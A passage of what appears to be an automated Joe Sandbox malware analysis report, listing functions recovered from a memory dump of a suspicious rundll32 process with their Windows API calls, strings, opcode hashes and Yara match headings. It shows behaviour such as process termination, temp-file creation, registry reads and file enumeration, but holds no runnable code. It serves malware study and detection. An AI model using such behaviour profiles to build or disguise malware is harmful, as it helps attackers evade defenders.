                            • Part of subcall function 04CB4963: StrChrA.SHLWAPI(?,0000002E,00000000,?,?,00000000,04CB70EB,00000000,?,00000000,?,?,?,?,?,?), ref: 04CB4975
                            • Part of subcall function 04CB4963: StrChrA.SHLWAPI(?,00000020,?,00000000,04CB70EB,00000000,?,00000000,?,?,?,?,?,?), ref: 04CB4984
                          • OpenProcess.KERNEL32(00000001,00000000,?,00000000), ref: 04CBCADD
                          • TerminateProcess.KERNEL32(00000000,00000000), ref: 04CBCAEC
                          • CloseHandle.KERNEL32(00000000), ref: 04CBCAF3
                          • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04CBCB02
                          • WaitForSingleObject.KERNEL32(00000000), ref: 04CBCB12
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HeapProcess$AllocateCloseFreeHandleObjectOpenSingleTerminateWaitwcstombs
                          • String ID:
                          • API String ID: 417118235-0
                          • Opcode ID: b4fb19d8e78e9a5399550cdb4f4829538bacee4076b46d2e7bb6b3cfe4d798ce
                          • Instruction ID: d8b7bba803813ed73e37a26c5944ac5c21a57a2da1719f10fdf20bf4f81c50ff
                          • Opcode Fuzzy Hash: b4fb19d8e78e9a5399550cdb4f4829538bacee4076b46d2e7bb6b3cfe4d798ce
                          • Instruction Fuzzy Hash: 9011BC39202216FBE7119F54DC88BAE7BA9FF04302F144018F945A6180C7BAFE54DBE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC3193 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59stringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,00000000,00000000,761B5520,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC509E
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50B7
                            • Part of subcall function 04CC508C: GetCurrentThreadId.KERNEL32 ref: 04CC50C4
                            • Part of subcall function 04CC508C: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50D0
                            • Part of subcall function 04CC508C: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50DE
                            • Part of subcall function 04CC508C: lstrcpy.KERNEL32(00000000), ref: 04CC5100
                          • lstrcpy.KERNEL32(-000000FC,00000000), ref: 04CC31CD
                          • CreateDirectoryA.KERNEL32(00000000,00000000,?,00002365,00000000,?,04CD13E7,?,?,00000000,?,04CC0E77,00000000), ref: 04CC31DF
                          • GetTickCount.KERNEL32 ref: 04CC31EA
                          • GetTempFileNameA.KERNEL32(00000000,00000000,00000000,?,00002365,00000000,?,04CD13E7,?,?,00000000,?,04CC0E77,00000000), ref: 04CC31F6
                          • lstrcpy.KERNEL32(00000000), ref: 04CC3210
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Temp$Filelstrcpy$NamePathTime$CountCreateCurrentDirectorySystemThreadTick
                          • String ID: \Low
                          • API String ID: 1629304206-4112222293
                          • Opcode ID: 3ca7f10aab9efff60531abd020f60854b73e3b99d48fee15ec1ff719a1c15177
                          • Instruction ID: 5acc83392c087da28a9b1124a03a5b19567671a23160fa61ab9190ac533e8b32
                          • Opcode Fuzzy Hash: 3ca7f10aab9efff60531abd020f60854b73e3b99d48fee15ec1ff719a1c15177
                          • Instruction Fuzzy Hash: 4E01D275202664BFD6106E75AC48F6F77ADEF46651B054028F900D7191CB28FE0087F4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB6F51 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45timeCOMMON
                          Download Yara Rule
                          APIs
                          • wsprintfA.USER32 ref: 04CB6F64
                          • CreateWaitableTimerA.KERNEL32(00000000,00000001,?), ref: 04CB6F76
                          • SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000), ref: 04CB6FA0
                          • WaitForMultipleObjects.KERNEL32(00000002,04CC2EB3,00000000,000000FF), ref: 04CB6FB3
                          • CloseHandle.KERNEL32(04CC2EB3), ref: 04CB6FBC
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: TimerWaitable$CloseCreateHandleMultipleObjectsWaitwsprintf
                          • String ID: 0x%08X
                          • API String ID: 603522830-3182613153
                          • Opcode ID: f1cada55135bb2dac6b953a68b6398ecd004e6e98204d8cb6cc1c099643b25c3
                          • Instruction ID: 6e34bed69c69e7b974fa52147aa5513a3441fad3ab978ece91ce41fb96dc472d
                          • Opcode Fuzzy Hash: f1cada55135bb2dac6b953a68b6398ecd004e6e98204d8cb6cc1c099643b25c3
                          • Instruction Fuzzy Hash: D5015AB5902229BBDB009FA4DC49EEFBF7CEF09364F004118F916E2185D774AA01CBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCD30A Relevance: 9.2, APIs: 6, Instructions: 202synchronizationCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • GetLastError.KERNEL32(?,?,?,00001000,?,04CDA2F4,7620F750), ref: 04CCD38B
                          • WaitForSingleObject.KERNEL32(00000000,00000000,?,04CDA2F4,7620F750), ref: 04CCD410
                          • CloseHandle.KERNEL32(00000000,?,04CDA2F4,7620F750), ref: 04CCD42A
                          • OpenProcess.KERNEL32(00100000,00000000,00000000,?,04CDA2F4,7620F750), ref: 04CCD45F
                            • Part of subcall function 04CBD6B0: RtlReAllocateHeap.NTDLL(00000000,?,?,04CB5546), ref: 04CBD6C0
                          • WaitForSingleObject.KERNEL32(?,00000064,?,04CDA2F4,7620F750), ref: 04CCD4E1
                          • CloseHandle.KERNEL32(F0FFC983,?,04CDA2F4,7620F750), ref: 04CCD508
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AllocateCloseHandleHeapObjectSingleWait$ErrorLastOpenProcess
                          • String ID:
                          • API String ID: 3115907006-0
                          • Opcode ID: ed168f95f5acf503866c31c5c634352b280d826f0c6540108a6c653eaa0680fc
                          • Instruction ID: e6d95e7aba7f249313c0a555eef8c31ab59b034fbf4357aff3464e7606f8be97
                          • Opcode Fuzzy Hash: ed168f95f5acf503866c31c5c634352b280d826f0c6540108a6c653eaa0680fc
                          • Instruction Fuzzy Hash: 7C811871D00219EFDF11DF94C884AADBBB6FF08305F188469E906AB250D734BE41DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCB278 Relevance: 9.2, APIs: 6, Instructions: 200timestringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • FileTimeToLocalFileTime.KERNEL32(00000000,04CC2702), ref: 04CCB2DA
                          • FileTimeToSystemTime.KERNEL32(04CC2702,?), ref: 04CCB2E8
                          • lstrlenW.KERNEL32(00000010), ref: 04CCB2F8
                          • lstrlenW.KERNEL32(00000218), ref: 04CCB304
                          • FileTimeToLocalFileTime.KERNEL32(00000008,04CC2702), ref: 04CCB3F1
                          • FileTimeToSystemTime.KERNEL32(04CC2702,?), ref: 04CCB3FF
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Time$File$LocalSystemlstrlen$AllocateHeap
                          • String ID:
                          • API String ID: 1122361434-0
                          • Opcode ID: c1372eb0805805d238064738aff6050442d54e60fb78f00ec5d54f6118367578
                          • Instruction ID: c94484f3ea01e7c9b9d06e9fef411e2563f31e9147da87a451eae9b56722c3aa
                          • Opcode Fuzzy Hash: c1372eb0805805d238064738aff6050442d54e60fb78f00ec5d54f6118367578
                          • Instruction Fuzzy Hash: FC71FE71900619ABCB50DFE9D885AEEB7FDEF08304F14446AE645E7240E638EA45DB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBE40F Relevance: 9.1, APIs: 6, Instructions: 124memoryCOMMON
                          Download Yara Rule
                          APIs
                          • RtlImageNtHeader.NTDLL(?), ref: 04CBE428
                            • Part of subcall function 04CC7A3E: lstrlenW.KERNEL32(00000000,00000000,00000000,?,?,?,?,04CBE448,?), ref: 04CC7A6A
                            • Part of subcall function 04CC7A3E: RtlAllocateHeap.NTDLL(00000000,?), ref: 04CC7A7C
                            • Part of subcall function 04CC7A3E: CreateDirectoryW.KERNEL32(00000000,00000000,?,?,04CBE448,?), ref: 04CC7A99
                            • Part of subcall function 04CC7A3E: lstrlenW.KERNEL32(00000000,?,?,04CBE448,?), ref: 04CC7AA5
                            • Part of subcall function 04CC7A3E: HeapFree.KERNEL32(00000000,00000000,?,?,04CBE448,?), ref: 04CC7AB9
                          • RtlEnterCriticalSection.NTDLL(00000000), ref: 04CBE460
                          • CloseHandle.KERNEL32(?), ref: 04CBE46E
                          • HeapFree.KERNEL32(00000000,?,?,00000001,?,?,00001000,?,?,00001000), ref: 04CBE547
                          • RtlLeaveCriticalSection.NTDLL(00000000), ref: 04CBE556
                          • HeapFree.KERNEL32(00000000,00000000,?,?,00001000,?,?,00001000), ref: 04CBE569
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$CriticalSectionlstrlen$AllocateCloseCreateDirectoryEnterHandleHeaderImageLeave
                          • String ID:
                          • API String ID: 1719504581-0
                          • Opcode ID: a6623690370e3ec1d75947d2427f7cd60df2b3199929bb66f77442aa3389ccb9
                          • Instruction ID: e25fec34584df1a6ab7aed9a60e812d7751815b9f5ed0e2c43ae77fe3d6001e0
                          • Opcode Fuzzy Hash: a6623690370e3ec1d75947d2427f7cd60df2b3199929bb66f77442aa3389ccb9
                          • Instruction Fuzzy Hash: E541BE39601205FBDB219FA5D884BEA7B7BEF44B00F048029E945A7250EB35FA48DBD0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCD1DC Relevance: 9.1, APIs: 6, Instructions: 122threadCOMMON
                          Download Yara Rule
                          APIs
                          • GetModuleHandleA.KERNEL32(00000000,?), ref: 04CCD237
                          • GetLastError.KERNEL32 ref: 04CCD25D
                          • SetEvent.KERNEL32(00000000), ref: 04CCD270
                          • GetModuleHandleA.KERNEL32(00000000), ref: 04CCD2B9
                          • memset.NTDLL ref: 04CCD2CE
                          • RtlExitUserThread.NTDLL(?), ref: 04CCD303
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HandleModule$ErrorEventExitLastThreadUsermemset
                          • String ID:
                          • API String ID: 3978817377-0
                          • Opcode ID: 48a5520a120bb707745f311380caa2c81deae1f62f3df42f848b0bb40db81a4f
                          • Instruction ID: 2c9e0c3feb139db16c0375c38b2647013227361fd0f636e444709c54d96c5ef0
                          • Opcode Fuzzy Hash: 48a5520a120bb707745f311380caa2c81deae1f62f3df42f848b0bb40db81a4f
                          • Instruction Fuzzy Hash: 1D415AB9900604AFEB209FA8D888DBABBBAEF85711764456DE847D2100D734FE44DB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC4F40 Relevance: 9.1, APIs: 6, Instructions: 117COMMON
                          Download Yara Rule
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID:
                          • String ID:
                          • API String ID:
                          • Opcode ID: 709413d53cc5addfff71613a36620c583fcfeeaea9fe25475fde7126bb5d00ad
                          • Instruction ID: ad4b8a47cecdde028fbf470de1332099f31e47e033634daa85fa44bf22aef511
                          • Opcode Fuzzy Hash: 709413d53cc5addfff71613a36620c583fcfeeaea9fe25475fde7126bb5d00ad
                          • Instruction Fuzzy Hash: 0E41E3B5500720EFD720AF758888A5B77EAFB44324F044A2DE6A7C6180EB71B840CB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBEABA Relevance: 9.1, APIs: 6, Instructions: 108stringsynchronizationCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CBAE7C: lstrlen.KERNEL32(04CBE448,00000000,00000000,?,?,04CC7A5B,?,?,?,?,04CBE448,?), ref: 04CBAE8B
                            • Part of subcall function 04CBAE7C: mbstowcs.NTDLL ref: 04CBAEA7
                          • lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 04CBEB0D
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(?,00000000,00000001,?,00000250,?,00000000), ref: 04CCBB1D
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(?,?,00000000), ref: 04CCBB29
                            • Part of subcall function 04CCBAD1: memset.NTDLL ref: 04CCBB71
                            • Part of subcall function 04CCBAD1: FindFirstFileW.KERNEL32(00000000,00000000), ref: 04CCBB8C
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(0000002C), ref: 04CCBBC4
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(?), ref: 04CCBBCC
                            • Part of subcall function 04CCBAD1: memset.NTDLL ref: 04CCBBEF
                            • Part of subcall function 04CCBAD1: wcscpy.NTDLL ref: 04CCBC01
                          • PathFindFileNameW.SHLWAPI(00000000,00000000,?,?,00000000,00000000,00000000), ref: 04CBEB2E
                          • lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 04CBEB5A
                            • Part of subcall function 04CCBAD1: PathFindFileNameW.SHLWAPI(0000001C,?,?,?,?,00000000), ref: 04CCBC27
                            • Part of subcall function 04CCBAD1: RtlEnterCriticalSection.NTDLL(?), ref: 04CCBC5D
                            • Part of subcall function 04CCBAD1: RtlLeaveCriticalSection.NTDLL(?), ref: 04CCBC79
                            • Part of subcall function 04CCBAD1: FindNextFileW.KERNEL32(?,00000000), ref: 04CCBC92
                            • Part of subcall function 04CCBAD1: WaitForSingleObject.KERNEL32(00000000), ref: 04CCBCA4
                            • Part of subcall function 04CCBAD1: FindClose.KERNEL32(?), ref: 04CCBCB9
                            • Part of subcall function 04CCBAD1: FindFirstFileW.KERNEL32(00000000,00000000), ref: 04CCBCCD
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(0000002C), ref: 04CCBCEF
                          • LocalFree.KERNEL32(?,?,?,?,00000000,00000000,00000000), ref: 04CBEB77
                          • WaitForSingleObject.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000), ref: 04CBEB98
                          • PathFindFileNameW.SHLWAPI(0000001E,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 04CBEBAD
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlen$Find$File$NamePath$CriticalFirstObjectSectionSingleWaitmemset$CloseEnterFreeLeaveLocalNextmbstowcswcscpy
                          • String ID:
                          • API String ID: 2670873185-0
                          • Opcode ID: 9ea594732b5781ab45a65497678dd613754d6a9e9171404bf691a88b23ae075b
                          • Instruction ID: 7d1c892a62877d6724030c58c66b160a884c5307ae3f2f4d7ea2d0adfc95d89b
                          • Opcode Fuzzy Hash: 9ea594732b5781ab45a65497678dd613754d6a9e9171404bf691a88b23ae075b
                          • Instruction Fuzzy Hash: 8D316D76508205AFDB10EF64D8849AEBBEAFF88758F10092EF5C593110E735EE05DB92
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCEF9F Relevance: 9.1, APIs: 6, Instructions: 93memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(?,00000104,04CD3A4E,00000000,?,?,04CC9BAD,?,00000005,?,00000000), ref: 04CCEFBB
                          • lstrlen.KERNEL32(00000000,00000104,04CD3A4E,00000000,?,?,04CC9BAD,?,00000005), ref: 04CCEFD1
                          • lstrlen.KERNEL32(?,00000104,04CD3A4E,00000000,?,?,04CC9BAD,?,00000005), ref: 04CCEFE6
                          • RtlAllocateHeap.NTDLL(00000000,?,?), ref: 04CCF04B
                          • _snprintf.NTDLL ref: 04CCF071
                          • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000012,00000001,00000000), ref: 04CCF090
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlen$Heap$AllocateFree_snprintf
                          • String ID:
                          • API String ID: 3180502281-0
                          • Opcode ID: b3260b5fb64748707f1c87abb8aeff2c11ecda99bacd8ada35be54781faaba86
                          • Instruction ID: 902ca5755a4fc3a536978de15234b3886e370678b3e718aff7e78b77a5f5fa96
                          • Opcode Fuzzy Hash: b3260b5fb64748707f1c87abb8aeff2c11ecda99bacd8ada35be54781faaba86
                          • Instruction Fuzzy Hash: F6318D76900219FFDF21DF65DC809AF7BABFB48344B058529FA05AB100D375AE109B90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBA976 Relevance: 9.1, APIs: 6, Instructions: 91timememoryCOMMON
                          Download Yara Rule
                          APIs
                          • OpenWaitableTimerA.KERNEL32(00100002,00000000,?), ref: 04CBA990
                          • CreateWaitableTimerA.KERNEL32(04CDA1E8,00000001,?), ref: 04CBA9AD
                          • GetLastError.KERNEL32(?,00000000,04CC8C06,00000000,00000000,0000801C,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CBA9BE
                            • Part of subcall function 04CD1ECA: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F02
                            • Part of subcall function 04CD1ECA: RtlAllocateHeap.NTDLL(00000000,?), ref: 04CD1F16
                            • Part of subcall function 04CD1ECA: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F30
                            • Part of subcall function 04CD1ECA: RegCloseKey.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?,?,?), ref: 04CD1F5A
                          • GetSystemTimeAsFileTime.KERNEL32(00000000,00000000,00000000,?,?,00000000,04CC8C06,00000000,00000000,0000801C), ref: 04CBA9FE
                          • SetWaitableTimer.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,04CC8C06,00000000,00000000,0000801C), ref: 04CBAA1D
                          • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,04CC8C06,00000000,00000000,0000801C), ref: 04CBAA33
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: TimerWaitable$HeapQueryTimeValue$AllocateCloseCreateErrorFileFreeLastOpenSystem
                          • String ID:
                          • API String ID: 1835239314-0
                          • Opcode ID: 409c4c9a3a694b6d0cb8e2a7c0d3621ce9f888260b8b284e1f381cb65c72a2b6
                          • Instruction ID: 5f9013fbf8d9e02d711e2152f613d5f61b324a9cb09165a27326f2386dca4182
                          • Opcode Fuzzy Hash: 409c4c9a3a694b6d0cb8e2a7c0d3621ce9f888260b8b284e1f381cb65c72a2b6
                          • Instruction Fuzzy Hash: 59315C75901208FBCB21DF99C988CEFBBBAEB89750F148429F585A6110D335AB40CFB0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC8F62 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • GetModuleHandleA.KERNEL32(?,00000020,?,00008664,?,04CBC71A,04CBC71A,?,04CC6EFA,?,04CBC71A,?,?,00000000), ref: 04CC8F87
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CC8FA9
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CC8FBF
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CC8FD5
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CC8FEB
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CC9001
                            • Part of subcall function 04CB710A: memset.NTDLL ref: 04CB718B
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AddressProc$AllocateHandleHeapModulememset
                          • String ID:
                          • API String ID: 1886625739-0
                          • Opcode ID: 292e572f15d8d46e4ef53a7a78d2cf1656762989fee6d7d804d581749c9dad09
                          • Instruction ID: 56b866bf02a9dfde9bd6f1f595a684d923607a2144a1032f45fcb2f8bb5bfbd6
                          • Opcode Fuzzy Hash: 292e572f15d8d46e4ef53a7a78d2cf1656762989fee6d7d804d581749c9dad09
                          • Instruction Fuzzy Hash: A2212CB850160AEFD710DF69E884E9AB7FDEF08344B05852AE605C7251E779FA058B60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBF519 Relevance: 9.1, APIs: 6, Instructions: 78memoryCOMMON
                          Download Yara Rule
                          APIs
                          • StrChrA.SHLWAPI(?,00000020,00000000,?,00000000,?,?,?,04CC7C35,00000000,?,?,?), ref: 04CBF531
                          • StrChrA.SHLWAPI(00000001,00000020,?,?,?,04CC7C35,00000000,?,?,?), ref: 04CBF542
                            • Part of subcall function 04CB1F0F: lstrlen.KERNEL32(?,?,00000000,00000000,?,04CC3D4E,00000000,?,?,00000000,00000001), ref: 04CB1F21
                            • Part of subcall function 04CB1F0F: StrChrA.SHLWAPI(?,0000000D,?,04CC3D4E,00000000,?,?,00000000,00000001), ref: 04CB1F59
                          • RtlAllocateHeap.NTDLL(00000000,?,?), ref: 04CBF582
                          • memcpy.NTDLL(00000000,?,00000007,?,?,?,04CC7C35,00000000), ref: 04CBF5AF
                          • memcpy.NTDLL(00000000,?,?,00000000,?,00000007,?,?,?,04CC7C35,00000000), ref: 04CBF5BE
                          • memcpy.NTDLL(?,?,?,00000000,?,?,00000000,?,00000007,?,?,?,04CC7C35,00000000), ref: 04CBF5D0
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: memcpy$AllocateHeaplstrlen
                          • String ID:
                          • API String ID: 1819133394-0
                          • Opcode ID: a3e21b1cc644ad645a4411275b4743fcc4e84b8837ad549635e30ea2a9a2f460
                          • Instruction ID: 64fe172e0d996cc0dcd9462c3d54ffeb3f37aa743236e614505afc19b4036958
                          • Opcode Fuzzy Hash: a3e21b1cc644ad645a4411275b4743fcc4e84b8837ad549635e30ea2a9a2f460
                          • Instruction Fuzzy Hash: 09218E76500119BFDB109FA4CC84F9ABBADEF08644F058162FA44DB251EA75FE448BE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD049A Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON
                          Download Yara Rule
                          APIs
                          • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000000,00000000), ref: 04CD04D9
                          • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 04CD04EA
                          • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000001,00000000,?,00000000,00000000), ref: 04CD0505
                          • GetLastError.KERNEL32 ref: 04CD051B
                          • HeapFree.KERNEL32(00000000,?), ref: 04CD052D
                          • HeapFree.KERNEL32(00000000,?), ref: 04CD0542
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$ByteCharFreeMultiWide$AllocateErrorLast
                          • String ID:
                          • API String ID: 1822509305-0
                          • Opcode ID: 0b602602b5b33fb3b10cc0b24e7ca618faa1c6cc5ce54a683e080ad84802822a
                          • Instruction ID: 7e37be8a407e86656deeaaac860f601db1c2d8be2ed36f694880d7b03c9acac9
                          • Opcode Fuzzy Hash: 0b602602b5b33fb3b10cc0b24e7ca618faa1c6cc5ce54a683e080ad84802822a
                          • Instruction Fuzzy Hash: B0116D7A902028BBDB225E96DC08DEF7F7EEF46294F000065FA09A2010D7356A55EBE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCC8EF Relevance: 9.1, APIs: 6, Instructions: 67stringCOMMON
                          Download Yara Rule
                          APIs
                          • OpenProcess.KERNEL32(00000E39,00000000,?), ref: 04CCC917
                          • _strupr.NTDLL ref: 04CCC952
                          • lstrlen.KERNEL32(00000000), ref: 04CCC95A
                          • TerminateProcess.KERNEL32(00000000,00000000), ref: 04CCC999
                          • CloseHandle.KERNEL32(00000000,00000000,00000000,?,00000104), ref: 04CCC9A0
                          • GetLastError.KERNEL32 ref: 04CCC9A8
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Process$CloseErrorHandleLastOpenTerminate_struprlstrlen
                          • String ID:
                          • API String ID: 110452925-0
                          • Opcode ID: c5192ebe0ea6daddc5647f367cfb60677a33dd933e14d9591635deae8b1a1924
                          • Instruction ID: abc5b8b565032db1a0e9de7c3fb8f6b9703f8582b097760d6c7921abd20c336c
                          • Opcode Fuzzy Hash: c5192ebe0ea6daddc5647f367cfb60677a33dd933e14d9591635deae8b1a1924
                          • Instruction Fuzzy Hash: C711067A601204FFDB106F75EC88EAE77AEEB88751F140419F90BD2040EA38ED808B60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCB549 Relevance: 9.1, APIs: 6, Instructions: 66registrymemoryCOMMON
                          Download Yara Rule
                          APIs
                          • RegOpenKeyA.ADVAPI32(80000001,?,7620F710), ref: 04CCB567
                          • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000), ref: 04CCB595
                          • RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 04CCB5A7
                          • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 04CCB5CC
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CCB5E7
                          • RegCloseKey.ADVAPI32(?), ref: 04CCB5F1
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HeapQueryValue$AllocateCloseFreeOpen
                          • String ID:
                          • API String ID: 170146033-0
                          • Opcode ID: 6c750e1bc46a76d447e41421c028ff8f38fb72ecd35bedac693cbffdb7133b2f
                          • Instruction ID: ec0e3963c85bd69eae3b4b0e05dd24a9510311d7826b9d59b399e3466dbd2e8a
                          • Opcode Fuzzy Hash: 6c750e1bc46a76d447e41421c028ff8f38fb72ecd35bedac693cbffdb7133b2f
